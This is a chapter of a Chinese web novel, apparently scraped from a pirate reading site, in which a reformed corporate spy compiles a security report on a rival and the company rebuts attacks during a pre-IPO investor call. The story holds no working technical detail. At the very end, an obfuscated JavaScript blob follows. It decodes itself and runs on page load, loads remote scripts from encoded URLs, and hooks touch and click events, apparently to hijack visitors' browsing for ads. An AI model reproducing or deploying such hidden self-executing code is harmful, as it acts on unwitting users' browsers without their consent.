首页
[切换至繁体版]
返回

第275章镜照未来(上)

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

题上存在系统性缺陷。”
    林晚立刻明白了她的意图:“你想在对方攻击我们‘用人不当’‘历史不清’时,反过来攻击他们的‘技术不行’‘安全不可靠’?”
    “对。”曹辛夷眼中闪过锐利的光,“上市不只是资本游戏,更是信任游戏。投资者最终要买的,是公司的未来价值。而未来价值的基础,是技术实力和道德底线。我们要让市场看到,谁才是真正值得信任的一方。”
    林晚看着屏幕上荆棘科技那些熟悉的事故记录——有些她甚至亲身经历过。那些为了赶工期而忽略的安全测试,那些为了降低成本而使用的盗版软件,那些为了获取用户数据而故意设置的隐私陷阱……
    “给我四个小时。”她说,“我需要访问一些行业数据库。”
    “权限已经给你开通了。”曹辛夷操作平板,“最高级别的调研权限,可以访问所有公开和半公开的行业安全事件数据库。”
    林晚有些惊讶:“你早就准备好了?”
    “从知道他们要打舆论战的那一刻起。”曹辛夷微笑,“这三年,我学会了一件事:在商战中,最好的防守往往是精准的反击。而精准的反击,建立在充分准备的基础上。”
    姚厚朴站起来:“那这边监控交给我,你们去会议室。”
    曹辛夷却摇头:“不用,我在这里陪你。林晚需要安静,我们去隔壁的小会议室。”
    (本章未完,请点击下一页继续阅读)第275章镜照未来(上)(第2/2页)
    她领着林晚来到数据中心隔壁一个十平米的小房间。这里原本是设备间,后来改造成了应急值班室,只有一张桌子和两台电脑。
    曹辛夷关上门,房间陷入隔绝了服务器噪音的安静。
    “你需要我提供什么协助吗?”她问。
    林晚已经在一台电脑前坐下,开始登录系统:“暂时不用。不过……可以再给我一杯咖啡吗?”
    曹辛夷笑了:“马上。”
    她离开房间,五分钟后端着一杯新的浓缩咖啡回来。林晚已经全神贯注地投入工作,手指在键盘上飞舞,屏幕上打开了几十个网页和文档窗口。
    曹辛夷没有打扰她,而是在另一台电脑前坐下,开始处理纽约那边传来的文件。小房间里只有键盘敲击声和偶尔的鼠标点击声,两个女人各自沉浸在工作中,互不干扰却又彼此支撑。
    时间悄然流逝。窗外的天色从黎明转为清晨,又逐渐明亮。
    上午九点十七分,林晚停下了敲击键盘的手。
    “完成了。”
    曹辛夷立刻凑过来。屏幕上是一份四十七页的报告,标题是《荆棘科技2019-2023数据安全事件系统性分析》。
    报告从技术角度详细分析了二十七起公开的安全事件,指出了这些事件背后共同的技术短板、管理漏洞和价值观问题。更关键的是,林晚在其中发现了五起事件之间存在隐秘的关联——都是同一个技术团队犯下的同类错误,而这个团队的核心成员,现在正在负责荆棘科技最新推出的“安全云”产品。
    “这意味着……”曹辛夷迅速抓住重点。
    “意味着他们的新产品建立在有缺陷的技术基因上。”林晚调出一段代码对比,“你看这里,三年前导致他们一次大规模数据泄露的缓存溢出漏洞,修复方案其实是治标不治本。而在新产品的底层代码中,我找到了同样的设计模式——只是换了个表现形式。”
    “你有多少把握?”
    “百分之九十。”林晚指向几个技术论坛的讨论截图,“已经有独立安全研究员发现了类似问题,但还没有形成系统性曝光。我们如果现在发布这份报告,并附上技术细节,会在专业圈层引发地震。”
    曹辛夷思考片刻:“还不够。专业圈层的关注度有限,我们需要让普通投资者也能看懂。”
    “我做了摘要版本和可视化图表。”林晚打开另一个文件,“用通俗语言解释技术问题,重点突出这些安全问题对用户隐私和投资者利益的实际影响。”
    曹辛夷快速浏览着,眼中光芒越来越亮:“完美。九里香的公关团队可以在此基础上,制作成多媒体素材,在今天下午的全球投资者电话会议前发布。”
    她看向林晚,郑重地说:“谢谢你。这份报告可能是扭转战局的关键。”
    林晚摇头:“我只是做了该做的事。”她停顿了一下,看向曹辛夷,“其实,我一直在等这样一个机会——用我对他们的了解,来为我们的团队做点什么。这三年,我欠大家的太多了。”
    “你不欠任何人。”曹辛夷声音温和却坚定,“林晚,你早就用行动偿还了一切。现在的你,是我们不可或缺的战友。”
    战友。这个词让林晚心头一颤。
    “曹辛夷。”她第一次如此正式地叫她的全名,“我能问你一个问题吗?”
    “当然。”
    “你……为什么能这么坦然地接受我?三年前,是我差点毁了公司,也差点毁了龙胆草。”
    曹辛夷没有立刻回答。她走到窗边,看着外面渐渐繁忙起来的街道,阳光洒在她的侧脸上,勾勒出柔和的轮廓。
    “最初确实很难。”她诚实地说,“我气过你,恨过你,觉得你背叛了所有人的信任。但后来,我看到你在发布会上的反戈一击,看到你交出的那些证据,看到你为了救家人而承受的一切……我开始明白,这世界不是非黑即白的。”
    她转过身,直视林晚的眼睛:“我们每个人都在挣扎。有人为利益,有人为理想,有人为生存,有人为责任。你选择了错误的方式开始,但你在关键时刻选择了回头,选择了赎罪。这需要比一开始就做对选择更大的勇气。”
    “而且,”曹辛夷笑了笑,“这三年,我看着你一点点重建自己。从数据安全审计员,到项目组成员,再到现在的安全顾问。你比任何人都努力,比任何人都珍惜这第二次机会。这样的人,值得被尊重,也值得被信任。”
    林晚感到眼眶发热。她低下头,不想让曹辛夷看到自己的失态。
    “还有,”曹辛夷的声音更轻了些,“我爱龙胆草。而我爱的那个人,是一个愿意给人第二次机会,愿意相信救赎可能的人。如果我不能理解他的这个选择,那我就没有资格站在他身边。”
    房间里安静下来。远处街道的车流声隐约传来,数据中心服务器的低沉嗡鸣如同背景音。
    “你们很配。”林晚最终说,抬起头,露出真诚的微笑,“真的。”
    曹辛夷也笑了,那笑容里有释然,有理解,也有女人之间独特的默契。
    “好了,煽情时间结束。”她拍拍手,恢复干练的语气,“报告我马上传给九里香。你现在需要休息,至少睡三个小时。”
    “可是系统监控……”
    “姚厚朴在,我也在。”曹辛夷不容置疑地说,“休息室有床,去睡一会儿。下午还有硬仗要打。”
    林晚确实感到了极度的疲惫——不仅是身体的,更是精神的。连续四天的高强度工作,加上刚才那份报告耗费的心力,让她几乎到了极限。
    她没有再坚持,起身走向隔壁的休息室。
    躺在床上时,她听到曹辛夷在外面的说话声,似乎在和九里香通电话,语气果断而清晰。那声音让她感到莫名的安心,仿佛一道坚固的防线,守护着这个她曾试图摧毁、如今却誓死捍卫的地方。
    闭上眼睛前,林晚想:这就是团队的感觉。不是单纯的同事,不是冷漠的上下级,而是在风暴来临时,可以彼此托付后背的战友。
    她沉入了无梦的睡眠。
    ---
    下午两点,深圳总部大会议室。
    九里香站在讲台前,面对的是通过视频连线的全球十七个城市的投资者、分析师和媒体记者。会议室里坐满了龙胆科技的高管和核心员工,曹辛夷坐在第一排,林晚和姚厚朴则通过专线从数据中心接入。
    “各位下午好。”九里香的声音透过同声传译系统,清晰而沉稳地传向世界各地,“在开始正式的上市前投资者沟通会之前,我们需要先澄清一些今天早上在市场上流传的不实信息。”
    大屏幕上开始播放精心制作的多媒体材料。首先是对林晚身份问题的回应——没有回避,而是坦诚地讲述了完整的故事:商业间谍、被迫选择、反戈一击、三年救赎。配合的影像资料包括当年发布会的片段、林晚这三年参与的项目成果、以及她获得的行业认证。
    “我们相信,一个人的价值不由她的过去定义,而由她的选择和行动定义。”九里香的声音充满力量,“林晚女士用三年时间证明了自己的专业能力和职业操守。在今天这个时代,给一个真心悔改且有能力贡献的人第二次机会,不是弱点,而是强者的自信。”
    接着,屏幕切换到对龙胆草父亲早年商业行为的说明。材料展示了完整的法律文件,证明所有历史问题都已依法解决,且龙胆草本人从未参与其中。更重要的是,材料突出了龙胆草独立创业的过程,以及他建立的与父辈完全不同的商业伦理。
    最后,屏幕上出现了那份报告的核心内容——《荆棘科技数据安全系统性缺陷分析》。
    九里香没有直接攻击竞争对手,而是用冷静客观的语气,从技术角度分析了行业现状,指出了投资者在选择科技公司时应关注的安全指标。但在展示的数据和案例中,荆棘科技的问题一览无遗。
    “在数字经济时代,数据安全不是可有可无的附加功能,而是企业生存的基石。”九里香总结道,“龙胆科技投入了公司30%的研发资源在安全领域,我们的‘五彩绫镜’项目获得了欧盟数据保护局的技术认证。我们坚信,只有把用户的隐私和信任放在首位,企业才能走得更远。”
    问答环节开始。前几个问题还算温和,主要集中在业务发展和财务数据上。但很快,一个尖锐的问题被抛了出来:
    “九里香女士,您刚才提到给犯过错的人第二次机会。但作为一家即将上市的公司,让前商业间谍担任关键的安全职务,是否是对投资者不负责任?”
    会议室里一片安静。所有目光都投向九里香。
    她没有立刻回答,而是操作了一下控制台。大屏幕上出现了林晚的视频画面——她还在数据中心,背景是闪烁的服务器指示灯。
    “这个问题,我想请林晚女士本人回答。”九里香说。
    屏幕上的林晚深吸了一口气。她看着摄像头,目光清澈而坚定。
    “各位好,我是林晚,龙胆科技的数据安全顾问。”她的声音平静,“关于我的过去,刚才的展示已经说明了一切。我想补充的是:正是因为我有那段经历,我比任何人都更清楚数据泄露的伤害,更明白商业间谍的手段,更了解安全防线的脆弱之处。”
    她停顿了一下,继续道:“这三年,我参与了公司所有重要项目的安全审计,发现了127个潜在漏洞,主导设计了现在的多层防御体系。在上周的攻防演练中,我带领的蓝队成功抵御了红队模拟的37种攻击手段。今天凌晨,我们刚刚化解了一次大规模DDoS攻击。”
    数据、事实、成果。她用最直接的方式证明自己的价值。
    “至于责任问题,”林晚最后说,“我认为,一个安全专家最重要的品质不是从不犯错,而是深知错误的代价,并因此比任何人都更谨慎、更敬畏、更努力地守护信任。而我,正是这样的人。”
    视频画面切换回主会议室。九里香接回话头:“补充一个数据:在过去十二个月里,龙胆科技的数据安全事件发生率为零,用户隐私投诉率同比下降68%。这些数字的背后,有林晚女士和整个安全团队的贡献。”
    提问者没有再追问。
    接下来的问答顺利进行。曹辛夷回答了关于国际拓展的问题,展示了与欧洲、东南亚合作伙伴的协议;姚浮萍通过视频从纽约接入,讲解了“五彩绫镜”的技术突破;龙胆草最后登场,阐述了公司的愿景和价值观。
    两个小时的投资者会议结束时,市场反馈已经开始显现。龙胆科技的预发行股价不但没有下跌,反而微涨了2.3%。
    “第一阶段胜利。”散会后,九里香对曹辛夷说。
    “但明天才是真正的考验。”曹辛夷看向窗外,纽约现在正是凌晨两点,“上市敲钟的那一刻,任何意外都可能发生。”
    “龙胆草准备好了吗?”
    “他一直准备着。”曹辛夷微笑,“从三年前决定创立这家公司时,他就在为这一刻做准备。”
    她的手机震动,是龙胆草发来的信息:“报告效果很好。谢谢林晚,也谢谢你。还有24小时,坚持住。”
    曹辛夷回复:“我们都在。明天见。”
    她收起手机,看向正在收拾设备的团队。每个人脸上都有疲惫,但更多的是坚定和期待。这三年,他们一起经历了太多:商业间谍危机、竞争对手打压、技术攻坚瓶颈、市场质疑声浪……而明天,这
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();